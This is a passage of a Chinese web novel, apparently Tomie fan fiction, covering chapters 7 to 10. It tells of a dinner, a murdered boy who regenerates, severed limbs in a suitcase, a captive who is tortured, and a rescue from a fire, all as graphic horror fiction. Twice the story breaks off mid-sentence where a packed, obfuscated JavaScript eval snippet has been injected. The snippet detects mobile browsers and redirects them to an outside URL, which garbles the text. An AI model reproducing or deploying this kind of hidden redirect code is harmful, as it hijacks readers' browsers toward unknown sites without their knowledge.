甜腻的味道在他口腔中炸开,让鲜少吃甜食的黑发少年有一瞬间的停顿,然后是狼吞虎咽一般将巧克力吞吃入腹。 他这才露出满意的神情。 “那么,祝你早日脱离地狱了。”他心情大好地说道。 然后离开了厕所。 只是黑发少年没想到,狡黠的家伙早早就将另一半的巧克力藏了起来,待到前者离开之后,他这才颤抖着手将压在身下的另一半拿出来。 同样地,他迫不及待地将巧克力吞食。 然而和黑发少年那甜腻滋味相反,他被苦得五官都皱了起来。 他最讨厌苦了。 可是好想....好想知道...她的名字.... 就在此时,门口传来了交谈的声音—— “...富江,你还好吗?你去了这么久我以为你迷路了...” 那是少女的声音! “啊...卫生间检修,花了点时间...芽衣,我饿了,快离开这里吧,好臭....” “诶?有臭味吗?我怎么没闻到.....” 芽衣。 她叫芽衣。 芽衣芽衣芽衣..... 他心里默念着这个名字,然后将苦涩的巧克力尽数吞入腹中。 * 白石芽衣被富江拉着远离卫生间,她有些不明所以,“诶?你真的没事吗?不会是因为吃了巧克力肚子不舒服吧?” 少年不语只是一味地将她拉回去位置上。 落座后,他才正色道,“吃完了,我讨厌甜味,但看在是芽衣做的份上,勉为其难吃完了。” 完了,他还张开嘴,示意她看自己什么都没有的口腔,仿佛在说‘你看,我这么讨厌吃甜食的人都吃的一干二净快点对我感恩戴德吧’..... 怕她不信,他甚至抬起自己舌头,让她看的更加清楚。 白石芽衣:“......” 人在无语的时候,原来真的会无语。 不是,这人是师从川剧变脸大师吗? 十分钟前不是还说自己喜欢吃甜食吗? “...那真是谢谢你的赏脸。” 8. 第八章 有一说一,白石芽衣带富江来这种高级餐厅,还有一种隐秘的卑劣的心理。 她想看见川上富江无所适从甚至是出糗的一面。 白石芽衣从小接受精英教育,甚至还有专门的礼仪课,对于各种场合的餐桌礼仪可谓是拿捏得跟吃顿家常便饭似的,来到这样的场所她自然也是如鱼得水。 可是川上富江也许不一样…… 他初来乍到,虽然生的好看气质也非凡,但川上这个姓氏并非什么有名的家族,平时大家穿着校服也不觉得有什么差异,未必将这些礼仪拿捏的如同她一样完美。 当然,这种心思出来没多久之后,她就狠狠地在脑子里吐槽了自己一番。 她竟然拿自己和富江在这个方面做比较,就好像在餐桌礼仪这个方面赢过富江就可以满足她内心那种卑劣的满足感和自豪感,就可以证明些什么似的。 可两人也许根本都不是在同一起跑线上奔跑。 就好像世界冠军如果跑赢了业余选手,那有什么好值得骄傲的呢? 然而,她的心态是摆正了,但是现实却是非常魔幻。 “...这家餐厅的西餐做的很好,主厨是法日混血,师从法国大师米歇尔,主厨对自己客人的选择也是非常严格,所以餐厅有一定的门槛……” 她正准备介绍一下这个餐厅,却见面前的富江神色恹恹,但姿态优雅地拿起了位置前的刀叉,从容不迫地切了一小块牛肉,然后放进嘴巴里。 一套姿势行云流水,配上他那张脸,仿佛就是从十七十八世纪的油画中走出来的贵族少爷一般。 白石芽衣有点惊讶,随后就是一种强烈的羞耻感袭来。 她之前竟然还先入为主地认为少年出身不好,也许上不了什么台面或许可以从中让她找到些许的慰藉,可如今看来,这哪是什么上不了台面,这一举一动比她都更像一个富家小姐少爷。 关键是,对方甚至还镇定自若地批评其牛肉的品质,厨师做菜的水平不足,火候欠缺烤的老了一点,仿佛哪里都不太满意的样子。 反倒是她因为惊讶得有些失态,手里的刀叉都拿反了,只能愣愣地盯着对方,呆呆地回了一句,“啊...是吗....” 她也吃了一口,一开始完全吃不出少年口中那些瑕疵感,但被他这么一说,又觉得确实如此。 高低瞬间立判了。 少女的视线赤裸裸明晃晃,不加任何掩饰,一双湖绿色的眼睛睁得圆润,像是两颗祖母绿的宝石镶嵌其中,清晰地映出他的身影,那目光清澈,分明没有任何的迷恋,干净得不像话,却让他有种自己此刻成了眼中的全世界的错觉。 只能看着他。 只能看见他。 这个认知让黑发少年相当受用。 当然,川上富江无论在哪里出现都是所有人关注的重点,这样的目光他见过太多了。 形形色色,男女老少,那些痴迷的、粘稠得宛若是下水道里凝固的沟渠水般的目光只会让他觉得恶心。 但白石芽衣是不一样的。 他喜欢她这样看着他,最好当然是一直都要这样看着他,因为他而吃惊,因为他而开心,因为他而迷恋,最好是更加狂野一点,更露骨肉麻一点,最好是不知餍足,恨不得将他的骨血一点不剩全部都吃进去肚子那种才好…… 如果不是这样怎么证明她是喜欢自己的呢? 不过没关系,他有的是时间将她变成最喜欢自己的样子… 这样想着,黑发少年敛去眼底因为幻想而兴奋欲动的暗光,随后抬眸看向女孩,将手里切好的肉块连带着叉子递给对方, “,,,不过,如果芽衣来喂的话...也不是不可以忍受这难吃的餐品。” “讷,芽衣会喂我的吧?” 少年的尾调略微上扬,看似是询问的语气,但其实当众蕴藏着不容拒绝的坚持。 白石芽衣品出来了。 其背后真正的意思是——如果连这点小事都做不到的话,芽衣其实根本也没那么喜欢我吧..... 也许他会恼羞成怒,一气之下跑去老师面前又闲言碎语几番,将她好不容易牺牲色相出卖尊严要回来的资格再次被夺走。 白石芽衣咬咬牙,在心里不断说服自己这一切只是为了达到自己的目的,成大事者不拘小节... ”好吧。”白石芽衣可耻地屈服了,她接过黑发少年手中的叉子。 富江这才满意地笑了。 他单手托着一侧的腮,黑眸紧紧地盯着面前略显局促的女孩,甚至还张开了嘴巴,好方便女孩给他投喂。 “啊——” 白石芽衣扫过去,入目的先是少年如鲜血一般艳的嘴唇,他的嘴唇很薄,长辈们说薄唇的人一般也薄情寡义,这样的刻板印象套在少年身上未免还是有点道理的...... 此刻他张着嘴,让她可以直观地看见他口腔,如同贝壳一般洁白的牙齿,往里面是他抵住牙龈下方的舌尖,正蠢蠢欲动着要将猎物扫进去。 再往里面是他的喉咙.....像一条幽深的隧道,一旦进入就永远无法逃离。 不是,她到底在联想什么奇怪又可怕的东西? 有那么一瞬间,她觉得富江的喉咙深处好像有什么可怕的东西要破蛹而出..... 她赶紧收回自己过分发散的思绪,将叉子上的肉递到少年的嘴边。 褐色的肉汁沾在了少年鲜红的嘴唇上,但他却没有在意,而是看上去非常享受,她正准备找点什么话题聊一聊好掩饰这个尴尬的场景,转移一下注意力。 下一瞬,少年将口中食物一吞而下,发出清晰的咕咚吞咽声,尤其是他一直看着白石芽衣,就让她有种错觉,此刻他正咀嚼享用的不是牛肉,而是白石芽衣一样。 白石芽衣莫名其妙心跳加快了一点。 也许是害怕的。 他不能真的吃人吧....哈哈哈哈,她到底在想什么? “那个...富江,你的嘴巴上沾了汤汁...用这个纸巾...“擦擦吧。 白石芽衣好心地拿起餐巾纸准备递过去,可话还没有说完,对方却直接一把抓住了她的手,就着她的手帮自己擦了擦嘴巴,完了还舔了舔嘴唇,一副意犹未尽的样子。 “果然,芽衣喂的话,就好吃多了。” 他说这话时,冰冷的气息打在她的手背上,让她没由来地感到战栗。 心跳的更快了...... 富江此人,要是打定主意要去勾引什么人,想必一定都会成功的吧。 她如此想到。 “...哈哈,是吗?富江你喜欢就好。“ * 一顿饭下来,白石芽衣食不知其味,反观富江,一副餍足的样子。 两人一起离开餐厅,在走出电梯的时候,白石芽衣注意到放在电梯口旁边的行李箱。那是一个深红色大箱子,毫不夸张地说大的足以塞下一个白石芽衣都绰绰有余。 不过,这里是酒店大堂,看见行李箱也并非什么奇怪的事情。 虽然正常来说,这样的行李箱都有专门的位置放和专门的人员进行管理。 白石芽衣也只是当下觉得有些奇怪,看了一眼那个红色大箱子便收回目光,准备和富江一起离开。 可刚走出一步,她就听见身后传来夹杂着痛苦的呢喃,在喊着——‘芽衣’. ‘芽衣...救救我...” 白石芽衣猛然回头,入目的只有那个仍然停放在电梯门口暂时无人看管认领的红色行李箱。 声音好像是从里面传来的。 最重要的是—— “那个行李箱,是不是动了?” 白石芽衣盯着那个稍微转动了一下方向的滚轮,有些疑惑又有些惊讶,刚才好像还贴在墙面上的,怎么一转头的功夫就变了? 而且那把呼救的声音,好像..... “...也许吧,可能是电梯上下震动带动了...谁知道呢,芽衣你为什么这么在意它?” 少年眸光平静,就连语气也非常冷淡,但有一点危险的气息。 白石芽衣看向富江,抿了抿唇,最后还是回答,“没什么,只是有点奇怪而已,应该只是我多心了,我们快走吧。“ 那一瞬间,她竟然觉得那把呼救的声音好像富江的声音。 可是这怎么可能! 明明少年此刻正活生生地站在自己的面前,和自己说着话。 大概是太累了才会产生这样的错觉吧...... 她这样想到。 “已经很晚了,明天还要上学呢...快回去休息吧!” * 两人前脚刚离开,后脚电梯的门就打开,浅岛带着鸭舌帽,神色有些不安地环顾了一下四周,见没人注意到自己还有这个行李箱,这才稍稍放下心来。 她拉起拉杆,推着行李箱离开这里。 只是箱子似乎很沉,拖动在厚重的地毯上,压出两道划痕,随后又消失不见。 事情发生之后,浅岛一反常态地冷静下来,她先是将少年的尸体藏在最后一格隔间,随后又在卫生间门口摆上故障的牌子。 这个是会员制餐厅,出入的都是达官贵人,出于隐私保障,整个餐厅都没有装有监控,这也是这个餐厅的一大卖点之一。 这倒是方便了她。 所以她离开了现场,去购买了清洁用品,折返回来将现场清理干净,又把少年的尸体装进行李箱,完成这一切之后她已经是满头大汗。 临走时,她回想起给少年开的房间,害怕里面有什么东西对她不利,她便再次折返回去收拾了一下。 这才推着箱子离开,也和刚离开的白石芽衣和富江错开。 她打算把少年的尸体带回自己的家再做打算。 也许她会随意找个地方埋起来,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111097|164050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知鬼不觉,也许她会按照当初设想的那样,处理好少年的尸体,用福尔马林保存起来...... 然而她想象的很美好,到了将装着少年的行李箱弄上车尾箱的时候就遇到问题了。 她一个手无缚鸡之力的小姐,连重的东西都没有提过,如何能够独自将这个沉重的箱子弄上去。 一个不小心,箱子摔在地上。 砰地一声,箱子被打开了一条缝。 里面传来了少年痛苦又哀怨的声音—— “好痛...痛死了...快点放我出去!” 这是富江的声音! 浅岛吓得僵在原地,不敢动弹。 这怎么可能...这是谁的恶作剧吗? 还是富江的...鬼魂回来索命了? “浅岛!你在吗?你在的吧!快点放我出去,这个箱子好臭,我受不了,快点!听见没有!” 这种颐指气使的语气毫无疑问就是川上富江本人。 是从箱子里面传来的,伴随着少年声音的还有他拍打着箱子的砰砰砰声..... 富江没有死! 这个认知让她空洞的眼睛瞬间亮起光芒,如果还没有死的话,那么一切是不是就还可以挽回? 这样想着,她赶忙过去,打开了箱子。 然而里面的景象却让她大惊失色,发出了凄烈的尖叫,划破了这条无人的暗巷的宁静。 只见,伤痕累累的少年像虾米一样弯曲在半人高的箱子里面,一双黑色的眼睛充满怨毒地盯着浅岛,而就在少年被划烂得血肉模糊,脏器破碎的腹部中,一张妖艳美丽的脸从里面长出来。 凝脂般的皮肤,完美的五官,黑曜石般的眼眸,还有眼角下方仿佛发光的泪痣,唇红齿白的少年的脸,无疑正是富江的样子。 富江的肚子长出了另一个富江的头。 而刚才一直说话喊着浅岛的,正是这个从肚子里新长出来的富江。 浅岛被这无法理解的、惊悚的一幕吓得连连后退,而肚子里的富江还在不停喊着她的名字,叫她赶紧把自己救出去。 ‘哐当’那把刀子掉在了地板上,仿佛是一个信号。 一直没有说话的富江本尊说话了。 “快点,把这个惹人烦的赝品切下来,然后拿去烧掉,快点!” “吵死了,浅岛,快点啊!你不听我的话了吗?!” “......” * 自那以后,浅岛再也没有去过学校。 她终日把自己关在房间里,很少出来,也不准任何人进去。 而就在她的房间内,黑发少年用铁链锁在窗边,原本洁白完美的身躯如今布满了恐怖的伤痕,鞭子、小刀甚至还有灼伤的痕迹...然而这些伤疤完全无损他的美丽,反而为他增加了一种破碎的美感。 浅岛离开了。 而他则是被关在了这个暗无天日的房间,一开始浅岛将他当作珍贵一样小心翼翼地哄着,慢慢地,她开始辱骂少年,最后甚至动起手,一步一步演变至今。 而黑发少年对此感到厌烦。 太阳底下早就已无新鲜事。 这样事情从过去,到现在,直到未来,还会重复上演着。 那些口口声声说着爱他的人,最后都会恨他,伤害他,杀死他。 他早就习惯了。 只是—— 芽衣.... 他在心里默默念着这个名字。 好想再次见到啊...... 片刻后,房门缓缓打开,光芒倾泻进来,让久居黑暗的黑发少年一瞬间眯起了眼睛。 他原以为是浅岛那个贱人回来了。 然而眼睛适应了光芒,视线恢复之后,入目却是一张和自己一模一样的脸。 对方满怀恶意地打量着他,肆意地欣赏着他的惨状,甚至将从前院狗屋捡起来的狗骨头扔到他的面前,“好惨哦....要是我变成你现在这个人不人,狗不狗的样子,我就自杀算了...啊,你没办法自杀吧...哈哈哈好惨....” 毫无疑问,这是从他肚子里分裂出来的那个富江。 浅岛并没有遵守诺言将对方烧死。 真该死啊.... 难怪这样对他,原来是已经找到了代餐... “...不如这样,你求我,我帮你解脱吧...” 姿态优雅的少年在他一步之远的地方半蹲下,一双桃花眼玩味地看向他,然后‘啪达’一声,微弱的火光自打火机的喷口处升起,在他眼底留下跃动的光芒,像是来讨债的艳鬼, “...你也不想那位巧克力小姐,看见你这幅鬼样子吧?” 他歪着头,语气有点无辜,眼睛却是看向了拉着窗帘的落地窗外面。 那个方向是浅岛家的大门。 而他口中那位‘巧克力小姐’,此刻就正站在浅岛家的大门外。 9.第九章 浅岛已经三天没来上学了。 起因是大前天发生的莫名针对对方的霸凌事件,据说最开始只是因为和富江发生了几句口角,结果惹得富江的追随者们不满,便擅自开展了一系列针对浅岛的霸凌活动。 先是将垃圾和小动物的尸体塞满对方的鞋柜,然后还写上恐怖的威胁用语…… 即便是浅岛在看到这些吓得生病没来上学后,那些人仍然没有停止这些可怕的行为,她的桌子被写满了恶毒的威胁话语,琴房里的专属乐器还有一些个人用品被刻意的破坏,甚至校内论坛上还出现了很多造谣抹黑浅岛的帖子,内容简直是不堪入目……等等此类的事情。 老师联系过浅岛的家长,但也只是被告知对方精神状态不佳在家休养,老师出于人道主义考虑,便请白石芽衣作为代表,前往浅岛家探望对方。 浅岛家位于近郊处,是比较古色古香的日式建筑,面积很大。 说明来意之后,白石芽衣很快在仆人的带领下来到了浅岛惠住的偏厅等待。 浅岛家一共三个子女,据说大哥已经逐渐接手家业常年不在家,而二姐也早早地和家世相当的男生订婚,目前正在欧洲留学,所以家里常年只有浅岛夫妇和浅岛惠居住。 今天正巧浅岛夫妇不在。 白石芽衣没有多想,只是端坐在偏厅上等待着。 不一会儿,她就等来了浅岛。 只是看见浅岛的一瞬间,白石芽衣还是吓了一跳。 和平日那个内敛但健康的少女不一样,如今的浅岛惠脸色苍白得如同死人一般,双颊凹陷,眼睛下方一圈浓重的青黑,眸底压抑着一片深沉的暗光。她看上去完全没有打理过自己,穿着随意的居家服,就连头发都是乱糟糟地披散在身后。 毫不夸张地说,她看上去更像个女鬼,而非活人。 尤其是被那双瞪得像铜铃,充满红血丝的眼睛盯住的瞬间,白石芽衣没由来地感到一阵害怕。 她不由自主地看向地板,后者的影子在室内灯光的投射下清楚地映在上面。她这才松口气。 好在、是真人不是女鬼。 “...浅岛同学,我是受老师还有同学们之托过来看望你的,这是同学们一起给你准备的礼物,还有卡片,希望你能够尽快好起来然后回到学校一起……” 白石芽衣客套的话还没说完,被对方冷笑着打断。 “同学们?她们真的想我回去吗?怕是巴不得我赶紧去死吧…我不会让那些人如愿的…我根本不怕她们,反正我已经得到了…已经得到了最想要的东西…哈哈哈哈她们才是失败者!一班废物,哈哈哈哈哈哈!” 愣是白石芽衣也不由地当场呆住,不知道该接些什么话,手上的鲜花还有贺卡仿佛跟烫手似的,一时间进退两难。 浅岛直接夺过她手里的鲜花,狠狠地仍在地上,像是泄愤一样踩烂,她没有穿鞋,更没有穿袜子,赤裸的脚将粉红交杂的鲜花踩得稀碎糜烂,在她光洁的脚丫子上染上了红色。 不,不仅仅是花的颜色,花刺将她的脚底划伤,正在往外冒着血,鲜血和鲜花的汁液混合在一起,形成了一种暗沉的红色,透露着不详和疯狂。 “她们都该死,都想来抢走…都想来抢走我的富江!我不会让她们如愿的!快点滚!给我滚啊!”她歇斯底里地朝着白石芽衣大喊大叫着。 叫声很快吸引了仆人,两个仆人帮忙拦着发狂的浅岛惠,冷静地对着她说:“白石小姐,我家小姐最近情绪有点不好,还请不要见谅,您的心意我们会代为转告老爷夫人的,今天就先不送了…真的非常抱歉。” 白石芽衣只能点点头,暂且离开这里。 她本来也是出于老师委托,和身为干部的道义过来一趟,目的达成就行。 至于对方口中提及的富江,她没有多想,只觉得浅岛对富江的痴迷程度已经到了一种癫狂,甚至陷入了臆想的程度,看来浅岛的精神真的非常糟糕…… 她一边想着一边快步走在院子里。 冷不丁,她的视线捕捉到一个熟悉的物体—— 一个红色的行李箱此刻正放在右侧庭院的门前。 那个尺寸,那个形状,跟那天晚上在酒店大堂见到的是一样的。 白石芽衣只觉得脑子那根杂乱的线正在慢慢地变得更加清晰,也许这并不是一个巧合,那天的红色行李箱,不是别人的,正是浅岛的。 而那个时候看见的箱子动了,也许也不是她的幻觉。 这个认知一出现,白石芽衣就觉得全身的血液都好像瞬间倒流了似的,一个荒谬的念头逐渐产生。 那个箱子里装的也许是…… 不知不觉之间,白石芽衣已经走到了这个箱子的面前。一股奇怪的执着攫取了她的思想和行动,使她没能第一时间离开,而是一步步来到这个箱子面前,本能告诉她应该尽快离开此处,但是身体似乎有自己的想法。 她动手打开了这个箱子。 事实上,她只是轻轻打开了拉链的一段,一股腥臭的血肉气息扑面而来,她几乎要呕出来。 而里面的东西似乎塞得已经满得不行,这打开的一个小口子就好像是缺堤的水坝一样,混杂碎肉和血液的残肢瞬间撑破了箱子,争先恐后地涌了出来。 白石芽衣瞪大了双眼,被吓的后退两步。 这分明就是人类的残肢,混杂在一起,也许有五六个,也许更多,混杂在一起分不清楚具体数量,视觉冲击力极大。然而这些肢体即便被鲜血浸染,也散发着一种难以言喻的特殊诱惑力。 白石芽衣情不自禁地盯着那堆‘血肉’,艰难地吞咽了一下口水。 --我根本不怕她们,反正我已经得到了…已经得到了最想要的东西… --她们都该死,都想来抢走…都想来抢走我的富江! 浅岛惠的话回响在她的脑海中。 难道说这是…这是属于富江的吗? 她的理智终于回笼,掏出手机就准备拨打报警的电话,可手机屏幕还没有来得及点开,就透过黑色冰冷的电子屏看见了身后逐渐靠近的浅岛。 对方手中举着棍子,在白石芽衣还没反应过来的时候,就被一棍子打晕过去。 昏迷之前,她只听见对方那疯狂的呓语—— “不可以…不可以抢走我的富江…一点都不可以…” 最坏的想法终于成真了。 白石芽衣断片之前想到。 * 漫天的火光自偏院亮起,一开始只是一阵阵乌色的烟,虽然烟雾渐浓,还闪烁这火红的光芒,彻底点亮了有些阴沉的天空。 黑发少年就站在不远处的庭院里,百无聊赖地看着这一切发生。 他看见少女因为好奇而打开行李箱,被里面哪些赝品恶 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他的视力极好,从他的位置仍旧可以清楚地看见那些被浅岛装在行李箱里的残肢,竟然破天荒地达成了某种合作,正挤作一团,堆得很高很高。 它们像是有自主意识似的,正托举着最上面的一只手,正用着钥匙试图开门。 为什么非要去救她? 就因为觉得她做的巧克力好吃? 怎么可能! 为什么对她是特别? 为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么! 无数个问号在他内心盘旋,以至于他自己都没能发现,环绕在胸前的手臂,已经被自己的拇指无意识地掐出了鲜红的痕迹。 虽然他们互相称呼对方为赝品,是假货,是贱人,但其实他们心知肚明每一个富江都应该是相同的,不会有任何的唯一性,然而则是这些残肢富江为女孩的特殊态度,竟然让他觉得它们此刻是特殊的,是珍贵的,是唯一的。 女孩的存在反倒让他成了特别的那个。 凭什么?! 废物和废物,就干脆烧死在一起算了。 这样就不会再有‘特别的’富江存在了…… 这样想着,他轻蔑一笑,随后转身离开了这个庭院。 只是片刻后,少年再次去而复返,一脚踹开了那扇因为大火已经摇摇欲坠的门,空气中散发着呛鼻的气息,夹杂着血肉被烧焦后的气息。 可怜的少女已然陷入昏迷,像一只待宰的羔羊,正毫无知觉地躺在烤架上。 他一脚踩住了那个试图用钥匙开门的手,然后走进去,背起了女孩。 “你是整个的时候斗不过我,现在只剩一只手,拿什么跟我斗?乖乖死在这片火海,才是你的最终归宿。” “那么,拜拜咯,赝品们~” 他语气轻快地说道,然后再次把门给关上。 与其便宜这些赝品…… 那个特别的富江,为什么不能是他呢? 他这样想道。 身后的少女似乎短暂地醒了一下,呜咽了一声,靠在少年的后耳根上,断断续续地喊着对方的名字,似乎有些疑惑。 “...富、富江?” 闻言,少年笑得花枝招展,附和道:“对,是富江,可要记住,是我救的你。” 一个独一无二的川上富江。 10.第十章 白石芽衣醒来的时候,人正躺在医院的病床上,入目是洁白的天花板,白炽灯的光晃得她眼睛有些睁不开。 她大脑发虚了好一会,什么都没有想,只是呆呆地看着天花板,似乎还没有从昏迷中彻底清醒过来。 片刻后,她猛地从床上起身。 昏迷前的记忆如同潮水一般涌入脑海中,癫狂踩踏鲜花、歇斯底里的浅岛惠,上前拦住她的佣人们、红色的行李箱,最后画面定格在箱子里喷涌而出,似乎能够无限增值的断壁残肢,似乎还是刚切下来不久,神经尚未意识到死去,还在颤抖着、活动着要从箱子里争先恐后地爬出来...... 白石芽衣脸色发白,趴在床边再次干呕了起来。 白石芽衣胃里没有东西可吐,也不过是一阵反酸而已,就是可怜喉咙有种被灼烧过后的不适感。她的声音变得有些嘶哑,喊着要水。 “水...给我水.....” 然后是一杯温水递了过来。 白石芽衣像一个在沙漠上跋涉了三天三夜的可怜流浪汉,接过水杯就不顾形象地咕咚咕咚喝了起来,结果就是因为喝得太急反而不小心呛到,剧烈咳嗽起来。 “咳咳咳咳....” “你是小孩子吗?怎么喝口水都会呛到....” 少年冷清的嗓音中带着些许的无奈之意,在少女斜上方响起,不过对方语气中虽然夹杂着些许的嫌弃与无奈,但是动作却非常诚实,轻轻拍打着对方的背部。 来人的动作生疏,仿佛此前从来没有帮人顺过背一般。 以至于好几次女孩被他拍的咳嗽更厉害了。 “...等等、等等!别拍了!够了够了...咳咳咳...”白石芽衣终于找回自己的声音,看向对方。 入目是川上富江那张美得过分的脸,正完好无暇地看着自己。 无论何时,无论看了多少次,每一次近距离看着少年的脸都会不由自主感叹世界上竟然有如此摄人心魄的美貌,以至于看久了都会有一种不详的预感,好像可怕的灾难就会因此而降临在每一个看见这样容貌的人身上.....白石芽衣如此想到。 而他一副‘你还是第一个获得此殊荣饿人类还不快点对我拜谢感恩’的样子正看着她。 不过—— “富、富富富富富富富江?” 白石芽衣一口气差点没喘上来,下意识捏着被子在床上挪退了半步,一副活见鬼的样子,让面前的少年露出了不悦的神色。 “你你你你你不是.....”已经死了吗? 那些鲜活的红白残肢再次闪回她的脑海中——断骨处非常不整齐的接口,仿佛是不太锋利的刀一点点切割下来,血液里混杂着不规则形状的碎肉,死死地粘附在伤口周围的皮肤上,鲜红的颜色反而衬得那皮肤雪白,如同羊脂玉一般光滑细腻,散发着淡淡的荧光。 和富江此刻脸容散发的光泽是一致的。 毫无疑问,任何曾经见识过川上富江美貌的人,见了那些残肢都会立马联想到对方。 所以自己也才会第一时间认为那是富江的残肢。 即便她根本无法合理地解释那残肢的数量,根本不可能是一个人身上切割下来的! 可是面前的富江... “巧克...芽衣,” 念着女孩的名字时,少年脸上似乎出现了片刻犹豫的表情,随后那种恍惚的表情如同幻影一般闪过,难以捕捉,不过白石芽衣也没有在意,就听见他继续说: “芽衣是在里面吸二氧化碳吸的导致脑子坏掉了吗?要是这样可就麻烦了,我不习惯和智障说话来着......喂,芽衣你还记得自己是谁吗?” “.......” 这人说话怎么这么难听? 白石芽衣:“我是白石芽衣,你是川上富江。” 闻言,他一副谢天谢地还好你没有真的变成白痴的样子。 白石芽衣表面隐忍不发,实则被子底下拳头都硬了。 然而下一刻,少年却猝不及防地抓住她的手,进而放在了他的脸颊上。 白石芽衣被这个举动吓得呆若木鸡,一时间竟然完全没反应过来,只能呆呆地让少年牵着自己的鼻子走。 富江的皮肤就如同想象中一样,像一匹上好的丝绸,又或者是丝绒布,光滑细腻,富有弹性,让人爱不释手。 抛开温度有点低,但那的的确确是活人的皮肤才有的新鲜触感。 他移动着女孩的手,顺着脸颊的弧度缓缓向下,最后停在他的下巴处,“看,我是有下巴的哦~” 黑发少女下意识用指腹摸了摸,确实如此,质感还挺好的。 富江的下巴微不可察地上扬分毫,眼睛也微微眯起,像一只神秘优雅的黑猫。 “芽衣,还要继续往下摸吗?脖子,喉结,锁骨,胸.....” “不用了,谢谢你。” 白石芽衣立马打断,阻止了他接下来的话,并且冷漠地抽回了自己的手。 富江没有死。 虽然无法解释所看见的碎肉残肢,她只能告诉自己所见的也许是其他人的血肉,毕竟也没有脸,更没有做DNA检测,单凭直觉做不了准。 但毫无疑问的是,面前的富江是真的,也是活生生的。 知道这一点就足够了。 “谢谢你救了我,不过,你为什么会出现在那里?你也刚好在浅岛家吗?” 他没有回答女孩的疑问,只是歪着头问道,“芽衣很喜欢我对吗?我背着你走出去的时候,一直在喊着我的名字呢...” “吶,可以再像那个样子,喊我的名字吗?” 白石芽衣:“......” 当时一直在喊他的名字,大概只是因为震惊吧... 毕竟自己那个时候还以为他已经死了,本来就被烟雾熏得昏昏沉沉,睁开眼就看见死而复生的幽灵,有那么一瞬间,白石芽衣还以为自己真的到了天堂...... 不过,白石芽衣余光瞥向他的手臂,只见他的手臂裹上了一层石膏。 “富江,你的手?” 他成功被女孩错开话题,毫不在意地扬了扬裹成粽子的手臂,“是因为救芽衣,所以骨折了哦!芽衣一定会负责的,对吗?” 白石芽衣感觉自己好像被反将一军,但还是点头,“当然,我会承担你所有的医药费...” 他露出满意的表情,不等女孩说完,便自顾自打断,“可以多叫我几声富江吗?” “......“ 这家伙其实完全只是有什么想说就说什么,不管其他人的死活是吧.... 不过,出于某种考虑,白石芽衣还是咬了咬牙,决定顺从少年的心意,轻轻喊了一声。 “富江,富江,这样可以了吗?” 颇有点咬牙切齿的意味在里面, 毕竟是救命恩人,忍了。 少年全然不觉,只是笑的像一只刚偷腥的猫。 * 在白石芽衣入院之后,白石家的管家松田几乎是马上就收到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123421|164050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息,过来处理这件事。待她清醒后,他也是和医生几乎是第一时间就来到了病房。 诊断结果就是,只是头部有点外伤,没有什么大碍,即日就可以出院,当然,医生同时表示要是还想再多住两天院观察一下也是可以的。 不过白石芽衣拒绝了,她可不想白白浪费这两天的时间在医院里无所事事。 “...父亲他知道这件事了吗?”白石芽衣问道。 “已经第一时间通知老爷了,但老爷正在参加一个重要的商业活动无法抽身,不过芽衣小姐没事的事情,已经第一时间告知老爷了,老爷吩咐我们要好好照看小姐....” 松田管家说完,还抬头小心翼翼地看了一眼面前的少女,见她还是冷着脸没什么表情的样子,又暗自在心里叹气。 “对了,那浅岛呢?” 警察已经捉走对方了吗? “浅岛小姐在纵火之后,畏罪自杀了,大火花了三个小时才扑灭,已经将浅岛小姐的尸体烧的差不多了,警察还在房子里找到好几个烧焦的人体残肢,目前身份还未确定下来。” 白石芽衣点了点头,不再说话。松田管家便跟着医生出去办理出院手术。 听闻自己要先离开,瑰丽的少年有些不快,但在白石芽衣承诺放学之后就会马上来医院看望他之后,他又立马阴转晴,并且表示还要吃她亲手做的巧克力。 白石芽衣本来以为这样就可以打发少年,至少在学校还能落得个两三天的清净,哪曾想第二天来到学校,就看见了黑发少年,对方手臂上的石膏和绷带都拆了,夏季校服裸露出的手臂白皙光滑,一点都不像是骨折了的样子。 只是当她问起昨日还有手臂的伤时,少年的表情有一瞬间变得阴郁可怕,可彼时的女孩还沉浸在对方手臂发生的医学奇迹上,丝毫没有察觉到这些。 “巧克力给我。”他忽然说道。 白石芽衣愣了一下,才后知后觉反应过来,呆呆地从包里掏出早就准备要带去医院的巧克力。 见他脸色好像不太好的样子,她又补充道,“这次没加糖。” 他说过自己讨厌甜食,所以这次特意没有加糖。 那边的少年脸色这才渐缓,他没有第一时间吃,而是提醒道:“不要再去医院了,还有明天记得也要第一时间拿给我。” “.......” 他都没事了干嘛还要巧克力.... 不过,白石芽衣为了节约时间早就一次性把好几天分量的巧克力都做好了,好像也没关系,不过这一点就不需要告诉对方了。 总感觉告诉他又要不高兴了。 “嗯嗯,我知道了。” 上课铃声响起,白石芽衣和富江告别后便回到自己的教室, 只是少女离开之后,黑发少年仍然站在原地,站了好一会儿。 他看着手中的巧克力,眼底酝酿着暗色,换做以前他都会直接扔进垃圾桶,当然,他也有过某种冲动要把手上这份也扔了。 毕竟这根本不是给他的,而是给另外的赝品的,并且差点成功被对方骗走,光是想要这一层他就不免感到怒火中烧。 但他还是没有扔。 这里已经陆续有别的赝品出现了,万一扔进垃圾桶之后有别的小偷过来翻垃圾怎么办? 思来想去,少年还是将巧克力的包装纸拆开,一把吃光。 香醇的苦涩在他舌尖的味蕾上炸开。 